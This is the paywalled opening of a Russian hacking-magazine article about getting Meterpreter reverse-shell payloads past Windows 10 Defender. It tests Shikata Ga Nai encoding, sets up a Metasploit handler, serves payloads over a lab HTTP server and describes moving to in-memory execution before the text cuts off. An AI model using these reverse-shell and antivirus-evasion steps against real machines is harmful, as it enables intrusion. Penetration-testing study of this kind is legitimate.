Содержание статьи
Meterpreter — это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации. По сути — прокачанная альтернатива классическим шелл‑кодам. Это отличный инструмент в арсенале любого пентестера, но он настолько популярен, что его сигнатуры есть в базах любого защитного ПО, будь то Windows 10, антивирус или даже Google Chrome.
Shikata Ga Nai
Одна из основных техник Metasploit — это схема кодирования полезной нагрузки Shikata Ga Nai (название переводится с японского как «ничего не поделаешь»). Работает она за счет SGN, уникального «полиморфного аддитивного энкодера XOR». Благодаря ему каждый раз, когда ты кодируешь шелл‑код, это будет происходить по‑другому, от чего нагрузка становится для антивируса безопасной на вид.
В SGN реализованы: динамическая замена команд, динамическое упорядочение блоков, случайный обмен регистрами, рандомизация порядка команд, вставка ненужного кода, использование случайного ключа и рандомизация расстояния между командами.
При всех плюсах техника кодирования Shikata Ga Nai не всегда бывает эффективной на последних версиях Windows.
www
Подробнее о Shikata Ga Nai читай в публикации Ника Хоффмана, Джереми Хамбла и Тоби Тейлора.
Определение проблемы
Давай проверим Shikata Ga Nai на практике и узнаем, действительно ли его популярность привела к тому, что SGN отлавливают антивирусы. В качестве жертвы я буду использовать свой ноутбук с последней версией Windows 10 со всеми установленными обновлениями (Build 19042).
Генерировать шелл‑код я буду с помощью MSFvenom. В качестве слушателя выступит Kali Linux 2020.4 последней версии с установленным Metasploit 6.0.18-dev.
Для начала сгенерируем стандартную нагрузку без SGN:
$
...
Payload size: 354 bytes
Final size of exe file: 73802 bytes
На Kali поднимем handler. На интерфейсе eth1 IP-адрес 10.
:
$
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433
Пробуем для начала передать файл, скачав его с помощью Google Chrome. Для этого поднимаю HTTP-сервер с помощью модуля для второй версии Python:
$ python -m SimpleHTTPServer
Пробую скачать наш шелл по адресу http://
.
Давай попробуем открыть файл. На этой машине с Windows 10 у меня установлена подсистема Linux (WSL). Скачаем этот файл в терминале с помощью wget
и попробуем запустить.
Файл Meterpreter был удален даже без обращения к нему. Нужно лишь скачать и подождать около минуты. Какая внимательная Windows! 🙂
Тем временем на машине с Kali тишина и слышен звук сверчков. Попробуем теперь технику кодирования Shikata Ga Nai. Создаем новый пейлоад в MSFvenom. На машине с Kali по‑прежнему висит в ожидании handler.
Добавим к опциям -e
, то есть используем SGN в 20 итераций с удалением плохого символа \
.
$
...
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
...
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes
Final size of exe file: 73802 bytes
Пробуем загрузить с помощью Google Chrome: http://10.10.0.180:8000/sgn_20_shell.exe.
Снова неудача. После скачивания с помощью Wget и запуска нас ждет такая же история, как и в прошлый раз, — с последующим удалением вредоноса. Какой можно сделать вывод? Правильно, на новых версиях Windows 10 Shikata Ga Nai бесполезен.
info
C сентября 2020 года компания Google ввела Advanced Protection Program для высокорисковых пользователей, таких как политики и журналисты. Загружаемые участниками этой программы файлы могут сначала пройти проверку на серверах Google, а лишь потом попасть к пользователю.
Так происходит потому, что при запуске исполняемого файла и перед загрузкой его в память система пытается найти сигнатуры, принадлежащие вредоносному ПО. В нашем случае такие сигнатуры были найдены и обнаружены. Поэтому Windows 10 не разрешила запуск. Даже SGN не помог. Сам по себе полиморфизм в нем неплох, но слепок стаба этого энкодера уже давно изучен.
Запуск Meterpreter из памяти
Очевидное решение — уход в сторону выполнения Meterpreter из памяти работающего процесса. Возможно, нам удастся обойти не только статический анализ, но и динамический анализ защитника Windows Defender.
Для выполнения программы из памяти я буду использовать Python. Известен способ запуска обратного шелла Python с последующей компиляцией скрипта в единый исполняемый файл модулем py2exe. Безусловно, вариант рабочий, хотя, как отмечает автор статьи по ссылке, питоновский шелл в Windows не позволяет делать некоторые вещи. Всегда есть возможность проапгрейдить Meterpreter прямо в сессии (post-модуль shell_to_meterpreter
). Однако это не всегда удобно, и этот способ можно улучшить.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»